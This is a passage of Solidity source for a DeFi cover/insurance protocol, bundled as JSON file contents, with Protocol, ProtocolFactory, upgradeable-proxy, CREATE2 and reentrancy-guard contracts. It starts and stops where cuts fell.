}\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n return _functionCallWithValue(target, data, value, errorMessage);\n }\n\n function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {\n require(isContract(target), \"Address: call to non-contract\");\n\n // solhint-disable-next-line avoid-low-level-calls\n (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);\n if (success) {\n return returndata;\n } else {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n\n // solhint-disable-next-line no-inline-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}" }, "contracts/Protocol.sol": { "content": "// SPDX-License-Identifier: No License\n\npragma solidity ^0.7.3;\n\nimport \"./proxy/InitializableAdminUpgradeabilityProxy.sol\";\nimport \"./utils/Create2.sol\";\nimport \"./utils/Initializable.sol\";\nimport \"./utils/Ownable.sol\";\nimport \"./utils/SafeMath.sol\";\nimport \"./utils/SafeERC20.sol\";\nimport \"./utils/ReentrancyGuard.sol\";\nimport \"./interfaces/ICover.sol\";\nimport \"./interfaces/IERC20.sol\";\nimport \"./interfaces/IOwnable.sol\";\nimport \"./interfaces/IProtocol.sol\";\nimport \"./interfaces/IProtocolFactory.sol\";\n\n/**\n * @title Protocol contract\n * @author crypto-pumpkin@github\n */\ncontract Protocol is IProtocol, Initializable, ReentrancyGuard, Ownable {\n using SafeMath for uint256;\n using SafeERC20 for IERC20;\n\n struct ClaimDetails {\n uint16 payoutNumerator; // 0 to 65,535\n uint16 payoutDenominator; // 0 to 65,535\n uint48 incidentTimestamp;\n uint48 claimEnactedTimestamp;\n }\n\n struct ExpirationTimestampInfo {\n bytes32 name;\n uint8 status; // 0 never set; 1 active, 2 inactive\n }\n\n bytes4 private constant COVER_INIT_SIGNITURE = bytes4(keccak256(\"initialize(string,uint48,address,uint256)\"));\n\n /// @notice only active (true) protocol allows adding more covers\n bool public override active;\n\n bytes32 public override name;\n\n // nonce of for the protocol's claim status, it also indicates count of accepted claim in the past\n uint256 public override claimNonce;\n\n // delay # of seconds for redeem with accepted claim, redeemCollateral is not affected\n uint256 public override claimRedeemDelay;\n // delay # of seconds for redeem without accepted claim, redeemCollateral is not affected\n uint256 public override noclaimRedeemDelay;\n\n // only active covers, once there is an accepted claim (enactClaim called successfully), this sets to [].\n address[] public override activeCovers;\n address[] private allCovers;\n\n /// @notice list of every supported expirationTimestamp, all may not be active.\n uint48[] public override expirationTimestamps;\n\n /// @notice list of every supported collateral, all may not be active.\n address[] public override collaterals;\n\n // [claimNonce] => accepted ClaimDetails\n ClaimDetails[] public override claimDetails;\n\n // @notice collateral => status. 0 never set; 1 active, 2 inactive\n mapping(address => uint8) public override collateralStatusMap;\n\n mapping(uint48 => ExpirationTimestampInfo) public override expirationTimestampMap;\n\n // collateral => timestamp => coverAddress, most recent cover created for the collateral and timestamp combination\n mapping(address => mapping(uint48 => address)) public override coverMap;\n\n modifier onlyActive() {\n require(active, \"COVER: protocol not active\");\n _;\n }\n\n modifier onlyDev() {\n require(msg.sender == _dev(), \"COVER: caller not dev\");\n _;\n }\n\n modifier onlyGovernance() {\n require(msg.sender == IProtocolFactory(owner()).governance(), \"COVER: caller not governance\");\n _;\n }\n\n /// @dev Initialize, called once\n function initialize (\n bytes32 _protocolName,\n bool _active,\n address _collateral,\n uint48[] calldata _expirationTimestamps,\n bytes32[] calldata _expirationTimestampNames\n )\n external initializer\n {\n name = _protocolName;\n collaterals.push(_collateral);\n active = _active;\n expirationTimestamps = _expirationTimestamps;\n\n collateralStatusMap[_collateral] = 1;\n\n for (uint i = 0; i < _expirationTimestamps.length; i++) {\n if (block.timestamp < _expirationTimestamps[i]) {\n expirationTimestampMap[_expirationTimestamps[i]] = ExpirationTimestampInfo(\n _expirationTimestampNames[i],\n 1\n );\n }\n }\n\n // set default delay for redeem\n claimRedeemDelay = 2 days;\n noclaimRedeemDelay = 10 days;\n\n initializeOwner();\n }\n\n function getProtocolDetails()\n external view override returns (\n bytes32 _name,\n bool _active,\n uint256 _claimNonce,\n uint256 _claimRedeemDelay,\n uint256 _noclaimRedeemDelay,\n address[] memory _collaterals,\n uint48[] memory _expirationTimestamps,\n address[] memory _allCovers,\n address[] memory _allActiveCovers\n )\n {\n return (\n name,\n active,\n claimNonce,\n claimRedeemDelay,\n noclaimRedeemDelay,\n getCollaterals(),\n getExpirationTimestamps(),\n getAllCovers(),\n getAllActiveCovers()\n );\n }\n\n function collateralsLength() external view override returns (uint256) {\n return collaterals.length;\n }\n\n function expirationTimestampsLength() external view override returns (uint256) {\n return expirationTimestamps.length;\n }\n\n function activeCoversLength() external view override returns (uint256) {\n return activeCovers.length;\n }\n\n function claimsLength() external view override returns (uint256) {\n return claimDetails.length;\n }\n\n /**\n * @notice add cover for sender\n * - transfer collateral from sender to cover contract\n * - mint the same amount CLAIM covToken to sender\n * - mint the same amount NOCLAIM covToken to sender\n */\n function addCover(address _collateral, uint48 _timestamp, uint256 _amount)\n external override onlyActive nonReentrant returns (bool)\n {\n require(_amount > 0, \"COVER: amount <= 0\");\n require(collateralStatusMap[_collateral] == 1, \"COVER: invalid collateral\");\n require(block.timestamp < _timestamp && expirationTimestampMap[_timestamp].status == 1, \"COVER: invalid expiration date\");\n\n // Validate sender collateral balance is > amount\n IERC20 collateral = IERC20(_collateral);\n require(collateral.balanceOf(msg.sender) >= _amount, \"COVER: amount > collateral balance\");\n\n address addr = coverMap[_collateral][_timestamp];\n\n // Deploy new cover contract if not exist or if claim accepted\n if (addr == address(0) || ICover(addr).claimNonce() != claimNonce) {\n string memory coverName = _generateCoverName(_timestamp, collateral.symbol());\n\n bytes memory bytecode = type(InitializableAdminUpgradeabilityProxy).creationCode;\n bytes32 salt = keccak256(abi.encodePacked(name, _timestamp, _collateral, claimNonce));\n addr = Create2.deploy(0, salt, bytecode);\n\n bytes memory initData = abi.encodeWithSelector(COVER_INIT_SIGNITURE, coverName, _timestamp, _collateral, claimNonce);\n address coverImplementation = IProtocolFactory(owner()).coverImplementation();\n InitializableAdminUpgradeabilityProxy(payable(addr)).initialize(\n coverImplementation,\n IOwnable(owner()).owner(),\n initData\n );\n\n activeCovers.push(addr);\n allCovers.push(addr);\n coverMap[_collateral][_timestamp] = addr;\n }\n\n // move collateral to the cover contract and mint CovTokens to sender\n uint256 coverBalanceBefore = collateral.balanceOf(addr);\n collateral.safeTransferFrom(msg.sender, addr, _amount);\n uint256 coverBalanceAfter = collateral.balanceOf(addr);\n require(coverBalanceAfter > coverBalanceBefore, \"COVER: collateral transfer failed\");\n ICover(addr).mint(coverBalanceAfter.sub(coverBalanceBefore), msg.sender);\n return true;\n }\n\n /// @notice update status or add new expiration timestamp\n function updateExpirationTimestamp(uint48 _expirationTimestamp, bytes32 _expirationTimestampName, uint8 _status) external override onlyDev returns (bool) {\n require(block.timestamp < _expirationTimestamp, \"COVER: invalid expiration date\");\n require(_status > 0 && _status < 3, \"COVER: status not in (0, 2]\");\n\n if (expirationTimestampMap[_expirationTimestamp].status == 0) {\n expirationTimestamps.push(_expirationTimestamp);\n }\n expirationTimestampMap[_expirationTimestamp] = ExpirationTimestampInfo(\n _expirationTimestampName,\n _status\n );\n return true;\n }\n\n /// @notice update status or add new collateral\n function updateCollateral(address _collateral, uint8 _status) external override onlyDev returns (bool) {\n require(_collateral != address(0), \"COVER: address cannot be 0\");\n require(_status > 0 && _status < 3, \"COVER: status not in (0, 2]\");\n\n if (collateralStatusMap[_collateral] == 0) {\n collaterals.push(_collateral);\n }\n collateralStatusMap[_collateral] = _status;\n return true;\n }\n\n /**\n * @dev enact accepted claim, all covers are to be paid out\n * - increment claimNonce\n * - delete activeCovers list\n * - only COVER claim manager can call this function\n *\n * Emit ClaimAccepted\n */\n function enactClaim(\n uint16 _payoutNumerator,\n uint16 _payoutDenominator,\n uint48 _incidentTimestamp,\n uint256 _protocolNonce\n )\n external override returns (bool)\n {\n require(_protocolNonce == claimNonce, \"COVER: nonces do not match\");\n require(_payoutNumerator <= _payoutDenominator && _payoutNumerator > 0, \"COVER: payout % is not in (0%, 100%]\");\n require(msg.sender == IProtocolFactory(owner()).claimManager(), \"COVER: caller not claimManager\");\n\n claimNonce = claimNonce.add(1);\n delete activeCovers;\n claimDetails.push(ClaimDetails(\n _payoutNumerator,\n _payoutDenominator,\n _incidentTimestamp,\n uint48(block.timestamp)\n ));\n emit ClaimAccepted(_protocolNonce);\n return true;\n }\n\n // update status of protocol, if false, will pause new cover creation\n function setActive(bool _active) external override onlyDev returns (bool) {\n active = _active;\n return true;\n }\n\n function updateClaimRedeemDelay(uint256 _claimRedeemDelay)\n external override onlyGovernance returns (bool)\n {\n claimRedeemDelay = _claimRedeemDelay;\n return true;\n }\n\n function updateNoclaimRedeemDelay(uint256 _noclaimRedeemDelay)\n external override onlyGovernance returns (bool)\n {\n noclaimRedeemDelay = _noclaimRedeemDelay;\n return true;\n }\n\n function getAllCovers() private view returns (address[] memory) {\n return allCovers;\n }\n\n function getAllActiveCovers() private view returns (address[] memory) {\n return activeCovers;\n }\n\n function getCollaterals() private view returns (address[] memory) {\n return collaterals;\n }\n\n function getExpirationTimestamps() private view returns (uint48[] memory) {\n return expirationTimestamps;\n }\n\n /// @dev the owner of this contract is ProtocolFactory contract. The owner of ProtocolFactory is dev\n function _dev() private view returns (address) {\n return IOwnable(owner()).owner();\n }\n\n /// @dev generate the cover name. Example: COVER_CURVE_2020_12_31_DAI_0\n function _generateCoverName(uint48 _expirationTimestamp, string memory _collateralSymbol)\n internal view returns (string memory) \n {\n return string(abi.encodePacked(\n \"COVER\",\n \"_\",\n bytes32ToString(name),\n \"_\",\n bytes32ToString(expirationTimestampMap[_expirationTimestamp].name),\n \"_\",\n _collateralSymbol,\n \"_\",\n uintToString(claimNonce)\n ));\n }\n\n // string helper\n function bytes32ToString(bytes32 _bytes32) internal pure returns (string memory) {\n uint8 i = 0;\n while(i < 32 && _bytes32[i] != 0) {\n i++;\n }\n bytes memory bytesArray = new bytes(i);\n for (i = 0; i < 32 && _bytes32[i] != 0; i++) {\n bytesArray[i] = _bytes32[i];\n }\n return string(bytesArray);\n }\n\n // string helper\n function uintToString(uint256 _i) internal pure returns (string memory _uintAsString) {\n if (_i == 0) {\n return \"0\";\n }\n uint256 j = _i;\n uint256 len;\n while (j != 0) {\n len++;\n j /= 10;\n }\n bytes memory bstr = new bytes(len);\n uint256 k = len - 1;\n while (_i != 0) {\n bstr[k--] = byte(uint8(48 + _i % 10));\n _i /= 10;\n }\n return string(bstr);\n }\n}\n" }, "contracts/proxy/InitializableAdminUpgradeabilityProxy.sol": { "content": "// SPDX-License-Identifier: No License\n\npragma solidity ^0.7.3;\n\nimport './BaseAdminUpgradeabilityProxy.sol';\n\n/**\n * @title InitializableAdminUpgradeabilityProxy\n * @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for \n * initializing the implementation, admin, and init data.\n */\ncontract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy {\n /**\n * Contract initializer.\n * @param _logic address of the initial implementation.\n * @param _admin Address of the proxy administrator.\n * @param _data Data to send as msg.data to the implementation to initialize the proxied contract.\n * It should include the signature and the parameters of the function to be called, as described in\n * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.\n * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.\n */\n function initialize(address _logic, address _admin, bytes memory _data) public payable {\n require(_implementation() == address(0));\n\n assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));\n _setImplementation(_logic);\n if(_data.length > 0) {\n (bool success,) = _logic.delegatecall(_data);\n require(success);\n }\n\n assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));\n _setAdmin(_admin);\n }\n}" }, "contracts/utils/Create2.sol": { "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.3;\n\n/**\n * @dev Helper to make usage of the `CREATE2` EVM opcode easier and safer.\n * `CREATE2` can be used to compute in advance the address where a smart\n * contract will be deployed, which allows for interesting new mechanisms known\n * as 'counterfactual interactions'.\n *\n * See the https://eips.ethereum.org/EIPS/eip-1014#motivation[EIP] for more\n * information.\n */\nlibrary Create2 {\n /**\n * @dev Deploys a contract using `CREATE2`. The address where the contract\n * will be deployed can be known in advance via {computeAddress}.\n *\n * The bytecode for a contract can be obtained from Solidity with\n * `type(contractName).creationCode`.\n *\n * Requirements:\n *\n * - `bytecode` must not be empty.\n * - `salt` must have not been used for `bytecode` already.\n * - the factory must have a balance of at least `amount`.\n * - if `amount` is non-zero, `bytecode` must have a `payable` constructor.\n */\n function deploy(uint256 amount, bytes32 salt, bytes memory bytecode) internal returns (address payable) {\n address payable addr;\n require(address(this).balance >= amount, \"Create2: insufficient balance\");\n require(bytecode.length != 0, \"Create2: bytecode length is zero\");\n // solhint-disable-next-line no-inline-assembly\n assembly {\n addr := create2(amount, add(bytecode, 0x20), mload(bytecode), salt)\n }\n require(addr != address(0), \"Create2: Failed on deploy\");\n return addr;\n }\n\n /**\n * @dev Returns the address where a contract will be stored if deployed via {deploy}. Any change in the\n * `bytecodeHash` or `salt` will result in a new destination address.\n */\n function computeAddress(bytes32 salt, bytes32 bytecodeHash) internal view returns (address) {\n return computeAddress(salt, bytecodeHash, address(this));\n }\n\n /**\n * @dev Returns the address where a contract will be stored if deployed via {deploy} from a contract located at\n * `deployer`. If `deployer` is this contract's address, returns the same value as {computeAddress}.\n */\n function computeAddress(bytes32 salt, bytes32 bytecodeHash, address deployer) internal pure returns (address) {\n bytes32 _data = keccak256(\n abi.encodePacked(bytes1(0xff), deployer, salt, bytecodeHash)\n );\n return address(uint256(_data));\n }\n}" }, "contracts/utils/ReentrancyGuard.sol": { "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.0;\n\n/**\n * @dev Contract module that helps prevent reentrant calls to a function.\n *\n * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier\n * available, which can be applied to functions to make sure there are no nested\n * (reentrant) calls to them.\n *\n * Note that because there is a single `nonReentrant` guard, functions marked as\n * `nonReentrant` may not call one another. This can be worked around by making\n * those functions `private`, and then adding `external` `nonReentrant` entry\n * points to them.\n *\n * TIP: If you would like to learn more about reentrancy and alternative ways\n * to protect against it, check out our blog post\n * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].\n */\nabstract contract ReentrancyGuard {\n // Booleans are more expensive than uint256 or any type that takes up a full\n // word because each write operation emits an extra SLOAD to first read the\n // slot's contents, replace the bits taken up by the boolean, and then write\n // back. This is the compiler's defense against contract upgrades and\n // pointer aliasing, and it cannot be disabled.\n\n // The values being non-zero value makes deployment a bit more expensive,\n // but in exchange the refund on every call to nonReentrant will be lower in\n // amount. Since refunds are capped to a percentage of the total\n // transaction's gas, it is best to keep them low in cases like this one, to\n // increase the likelihood of the full refund coming into effect.\n uint256 private constant _NOT_ENTERED = 1;\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n constructor () {\n _status = _NOT_ENTERED;\n }\n\n /**\n * @dev Prevents a contract from calling itself, directly or indirectly.\n * Calling a `nonReentrant` function from another `nonReentrant`\n * function is not supported. It is possible to prevent this from happening\n * by making the `nonReentrant` function external, and make it call a\n * `private` function that does the actual work.\n */\n modifier nonReentrant() {\n // On the first call to nonReentrant, _notEntered will be true\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n // Any calls to nonReentrant after this point will fail\n _status = _ENTERED;\n\n _;\n\n // By storing the original value once again, a refund is triggered (see\n // https://eips.ethereum.org/EIPS/eip-2200)\n _status = _NOT_ENTERED;\n }\n}\n" }, "contracts/interfaces/ICover.sol": { "content": "// SPDX-License-Identifier: No License\n\npragma solidity ^0.7.3;\n\nimport \"./ICoverERC20.sol\";\n\n/**\n * @title Cover contract interface. See {Cover}.\n * @author crypto-pumpkin@github\n */\ninterface ICover {\n event NewCoverERC20(address);\n\n function getCoverDetails()\n external view returns (string memory _name, uint48 _expirationTimestamp, address _collateral, uint256 _claimNonce, ICoverERC20 _claimCovToken, ICoverERC20 _noclaimCovToken);\n function expirationTimestamp() external view returns (uint48);\n function collateral() external view returns (address);\n function claimCovToken() external view returns (ICoverERC20);\n function noclaimCovToken() external view returns (ICoverERC20);\n function name() external view returns (string memory);\n function claimNonce() external view returns (uint256);\n\n function redeemClaim() external;\n function redeemNoclaim() external;\n function redeemCollateral(uint256 _amount) external;\n\n /// @notice access restriction - owner (Protocol)\n function mint(uint256 _amount, address _receiver) external;\n\n /// @notice access restriction - dev\n function setCovTokenSymbol(string calldata _name) external;\n}" }, "contracts/proxy/BaseAdminUpgradeabilityProxy.sol": { "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.3;\n\nimport './BaseUpgradeabilityProxy.sol';\n\n/**\n * @title BaseAdminUpgradeabilityProxy\n * @dev This contract combines an upgradeability proxy with an authorization\n * mechanism for administrative tasks.\n * All external functions in this contract must be guarded by the\n * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity\n * feature proposal that would enable this to be done automatically.\n */\ncontract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {\n /**\n * @dev Emitted when the administration has been transferred.\n * @param previousAdmin Address of the previous admin.\n * @param newAdmin Address of the new admin.\n */\n event AdminChanged(address previousAdmin, address newAdmin);\n\n /**\n * @dev Storage slot with the admin of the contract.\n * This is the keccak-256 hash of \"eip1967.proxy.admin\" subtracted by 1, and is\n * validated in the constructor.\n */\n\n bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;\n\n /**\n * @dev Modifier to check whether the `msg.sender` is the admin.\n * If it is, it will run the function. Otherwise, it will delegate the call\n * to the implementation.\n */\n modifier ifAdmin() {\n if (msg.sender == _admin()) {\n _;\n } else {\n _fallback();\n }\n }\n\n /**\n * @return The address of the proxy admin.\n */\n function admin() external ifAdmin returns (address) {\n return _admin();\n }\n\n /**\n * @return The address of the implementation.\n */\n function implementation() external ifAdmin returns (address) {\n return _implementation();\n }\n\n /**\n * @dev Changes the admin of the proxy.\n * Only the current admin can call this function.\n * @param newAdmin Address to transfer proxy administration to.\n */\n function changeAdmin(address newAdmin) external ifAdmin {\n require(newAdmin != address(0), \"Cannot change the admin of a proxy to the zero address\");\n emit AdminChanged(_admin(), newAdmin);\n _setAdmin(newAdmin);\n }\n\n /**\n * @dev Upgrade the backing implementation of the proxy.\n * Only the admin can call this function.\n * @param newImplementation Address of the new implementation.\n */\n function upgradeTo(address newImplementation) external ifAdmin {\n _upgradeTo(newImplementation);\n }\n\n /**\n * @dev Upgrade the backing implementation of the proxy and call a function\n * on the new implementation.\n * This is useful to initialize the proxied contract.\n * @param newImplementation Address of the new implementation.\n * @param data Data to send as msg.data in the low level call.\n * It should include the signature and the parameters of the function to be called, as described in\n * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.\n */\n function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {\n _upgradeTo(newImplementation);\n (bool success,) = newImplementation.delegatecall(data);\n require(success);\n }\n\n /**\n * @return adm The admin slot.\n */\n function _admin() internal view returns (address adm) {\n bytes32 slot = ADMIN_SLOT;\n assembly {\n adm := sload(slot)\n }\n }\n\n /**\n * @dev Sets the address of the proxy admin.\n * @param newAdmin Address of the new proxy admin.\n */\n function _setAdmin(address newAdmin) internal {\n bytes32 slot = ADMIN_SLOT;\n\n assembly {\n sstore(slot, newAdmin)\n }\n }\n} " }, "contracts/proxy/BaseUpgradeabilityProxy.sol": { "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.3;\n\nimport \"../utils/Address.sol\";\nimport \"./Proxy.sol\";\n\n/**\n * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an\n * implementation address that can be changed. This address is stored in storage in the location specified by\n * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the\n * implementation behind the proxy.\n * \n * Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see\n * {TransparentUpgradeableProxy}.\n */\ncontract BaseUpgradeabilityProxy is Proxy {\n\n /**\n * @dev Storage slot with the address of the current implementation.\n * This is the keccak-256 hash of \"eip1967.proxy.implementation\" subtracted by 1, and is\n * validated in the constructor.\n */\n bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n\n event Upgraded(address indexed implementation);\n\n /**\n * @dev Returns the current implementation address.\n */\n function _implementation() internal override view returns (address impl) {\n bytes32 slot = IMPLEMENTATION_SLOT;\n // solhint-disable-next-line no-inline-assembly\n assembly {\n impl := sload(slot)\n }\n }\n\n /**\n * @dev Upgrades the proxy to a new implementation.\n * \n * Emits an {Upgraded} event.\n */\n function _upgradeTo(address newImplementation) internal {\n _setImplementation(newImplementation);\n emit Upgraded(newImplementation);\n }\n\n /**\n * @dev Stores a new address in the EIP1967 implementation slot.\n */\n function _setImplementation(address newImplementation) internal {\n require(Address.isContract(newImplementation), \"UpgradeableProxy: new implementation is not a contract\");\n\n bytes32 slot = IMPLEMENTATION_SLOT;\n\n // solhint-disable-next-line no-inline-assembly\n assembly {\n sstore(slot, newImplementation)\n }\n }\n}" }, "contracts/proxy/Proxy.sol": { "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.7.3;\n\n/**\n * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM\n * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to\n * be specified by overriding the virtual {_implementation} function.\n * \n * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a\n * different contract through the {_delegate} function.\n * \n * The success and return data of the delegated call will be returned back to the caller of the proxy.\n */\nabstract contract Proxy {\n /**\n * @dev Delegates the current call to `implementation`.\n * \n * This function does not return to its internall call site, it will return directly to the external caller.\n */\n function _delegate(address implementation) internal {\n // solhint-disable-next-line no-inline-assembly\n assembly {\n // Copy msg.data. We take full control of memory in this inline assembly\n // block because it will not return to Solidity code. We overwrite the\n // Solidity scratch pad at memory position 0.\n calldatacopy(0, 0, calldatasize())\n\n // Call the implementation.\n // out and outsize are 0 because we don't know the size yet.\n let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)\n\n // Copy the returned data.\n returndatacopy(0, 0, returndatasize())\n\n switch result\n // delegatecall returns 0 on error.\n case 0 { revert(0, returndatasize()) }\n default { return(0, returndatasize()) }\n }\n }\n\n /**\n * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function\n * and {_fallback} should delegate.\n */\n function _implementation() internal virtual view returns (address);\n\n /**\n * @dev Delegates the current call to the address returned by `_implementation()`.\n * \n * This function does not return to its internall call site, it will return directly to the external caller.\n */\n function _fallback() internal {\n _beforeFallback();\n _delegate(_implementation());\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other\n * function in the contract matches the call data.\n */\n fallback () payable external {\n _fallback();\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data\n * is empty.\n */\n receive () payable external {\n _fallback();\n }\n\n /**\n * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`\n * call, or as part of the Solidity `fallback` or `receive` functions.\n * \n * If overriden should call `super._beforeFallback()`.\n */\n function _beforeFallback() internal virtual {\n }\n}" }, "contracts/interfaces/ICoverERC20.sol": { "content": "// SPDX-License-Identifier: No License\n\npragma solidity ^0.7.3;\n\nimport \"./IERC20.sol\";\n\n/**\n * @title CoverERC20 contract interface, implements {IERC20}. See {CoverERC20}.\n * @author crypto-pumpkin@github\n */\ninterface ICoverERC20 is IERC20 {\n function burn(uint256 _amount) external returns (bool);\n\n /// @notice access restriction - owner (Cover)\n function mint(address _account, uint256 _amount) external returns (bool);\n function setSymbol(string calldata _symbol) external returns (bool);\n function burnByCover(address _account, uint256 _amount) external returns (bool);\n}" }, "contracts/ProtocolFactory.sol": { "content": "// SPDX-License-Identifier: No License\n\npragma solidity ^0.7.3;\n\nimport \"./proxy/InitializableAdminUpgradeabilityProxy.sol\";\nimport \"./utils/Address.sol\";\nimport \"./utils/Create2.sol\";\nimport \"./utils/Ownable.sol\";\nimport \"./interfaces/IProtocolFactory.sol\";\n\n/**\n * @title ProtocolFactory contract\n * @author crypto-pumpkin@github\n */\ncontract ProtocolFactory is IProtocolFactory, Ownable {\n\n bytes4 private constant PROTOCOL_INIT_SIGNITURE = bytes4(keccak256(\"initialize(bytes32,bool,address,uint48[],bytes32[])\"));\n\n uint16 public override redeemFeeNumerator = 10; // 0 to 65,535\n uint16 public override redeemFeeDenominator = 10000; // 0 to 65,535\n\n address public override protocolImplementation;\n address public override coverImplementation;\n address public override coverERC20Implementation;\n\n address public override treasury;\n address public override governance;\n address public override claimManager;\n\n // not all protocols are active\n bytes32[] private protocolNames;\n\n mapping(bytes32 => address) public override protocols;\n\n modifier onlyGovernance() {\n require(msg.sender == governance, \"COVER: caller not governance\");\n _;\n }\n\n constructor (\n address _protocolImplementation,\n address _coverImplementation,\n address _coverERC20Implementation,\n address _governance,\n address _treasury\n ) {\n protocolImplementation = _protocolImplementation;\n coverImplementation = _coverImplementation;\n coverERC20Implementation = _coverERC20Implementation;\n governance = _governance;\n treasury = _treasury;\n\n initializeOwner();\n }\n\n function getAllProtocolAddresses() external view override returns (address[] memory) {\n bytes32[] memory protocolNamesCopy = protocolNames;\n address[] memory protocolAddresses = new address[](protocolNamesCopy.length);\n for (uint i = 0; i < protocolNamesCopy.length; i++) {\n protocolAddresses[i] = protocols[protocolNamesCopy[i]];\n }\n return protocolAddresses;\n }\n\n function getRedeemFees() external view override returns (uint16 _numerator, uint16 _denominator) {\n return (redeemFeeNumerator, redeemFeeDenominator);\n }\n\n function getProtocolsLength() external view override returns (uint256) {\n return protocolNames.length;\n }\n\n function getProtocolNameAndAddress(uint256 _index)\n external view override returns (bytes32, address)\n {\n bytes32 name = protocolNames[_index];\n return (name, protocols[name]);\n }\n\n /// @notice return protocol contract address, the contract may not be deployed yet\n function getProtocolAddress(bytes32 _name) public view override returns (address) {\n return _computeAddress(keccak256(abi.encodePacked(_name)), address(this));\n }\n\n /// @notice return cover contract address, the contract may not be deployed yet\n function getCoverAddress(\n bytes32 _protocolName,\n uint48 _timestamp,\n address _collateral,\n uint256 _claimNonce\n )\n public view override returns (address)\n {\n return _computeAddress(\n keccak256(abi.encodePacked(_protocolName, _timestamp, _collateral, _claimNonce)),\n getProtocolAddress(_protocolName)\n );\n }\n\n /// @notice return covToken contract address, the contract may not be deployed yet\n function getCovTokenAddress(\n bytes32 _protocolName,\n uint48 _timestamp,\n address _collateral,\n uint256 _claimNonce,\n bool _isClaimCovToken\n )\n external view override returns (address) \n {\n return _computeAddress(\n keccak256(abi.encodePacked(\n _protocolName,\n _timestamp,\n _collateral,\n _claimNonce,\n _isClaimCovToken ? \"CLAIM\" : \"NOCLAIM\")\n ),\n getCoverAddress(_protocolName, _timestamp, _collateral, _claimNonce)\n );\n }\n\n /// @dev Emits ProtocolInitiation, add a supported protocol in COVER\n function addProtocol(\n bytes32 _name,\n bool _active,\n address _collateral,\n uint48[] calldata _timestamps,\n bytes32[] calldata _timestampNames\n )\n external override onlyOwner returns (address)\n {\n require(protocols[_name] == address(0), \"COVER: protocol exists\");\n require(_timestamps.length == _timestampNames.length, \"COVER: timestamp lengths don't match\");\n protocolNames.push(_name);\n\n bytes memory bytecode = type(InitializableAdminUpgradeabilityProxy).creationCode;\n // unique salt required for each protocol, salt + deployer decides contract address\n bytes32 salt = keccak256(abi.encodePacked(_name));\n address payable proxyAddr = Create2.deploy(0, salt, bytecode);\n emit ProtocolInitiation(proxyAddr);\n\n bytes memory initData = abi.encodeWithSelector(PROTOCOL_INIT_SIGNITURE, _name, _active, _collateral, _timestamps, _timestampNames);\n InitializableAdminUpgradeabilityProxy(proxyAddr).initialize(protocolImplementation, owner(), initData);\n\n protocols[_name] = proxyAddr;\n\n return proxyAddr;\n }\n\n /// @dev update this will only affect protocols deployed after\n function updateProtocolImplementation(address _newImplementation)\n external override onlyOwner returns (bool)\n {\n require(Address.isContract(_newImplementation), \"COVER: new implementation is not a contract\");\n protocolImplementation = _newImplementation;\n return true;\n }\n\n /// @dev update this will only affect covers of protocols deployed after\n function updateCoverImplementation(address _newImplementation)\n external override onlyOwner returns (bool)\n {\n require(Address.isContract(_newImplementation), \"COVER: new implementation is not a contract\");\n coverImplementation = _newImplementation;\n return true;\n }\n\n /// @dev update this will only affect covTokens of covers of protocols deployed after\n function updateCoverERC20Implementation(address _newImplementation)\n external override onlyOwner returns (bool)\n {\n require(Address.isContract(_newImplementation), \"COVER: new implementation is not a contract\");\n coverERC20Implementation = _newImplementation;\n return true;\n }\n\n function updateFees(\n uint16 _redeemFeeNumerator,\n uint16 _redeemFeeDenominator\n )\n external override onlyGovernance returns (bool)\n {\n require(_redeemFeeDenominator > 0, \"COVER: denominator cannot be 0\");\n redeemFeeNumerator = _redeemFeeNumerator;\n redeemFeeDenominator = _redeemFeeDenominator;\n return true;\n }\n\n function updateClaimManager(address _address)\n external override onlyOwner returns (bool)\n {\n require(_address != address(0), \"COVER: address cannot be 0\");\n 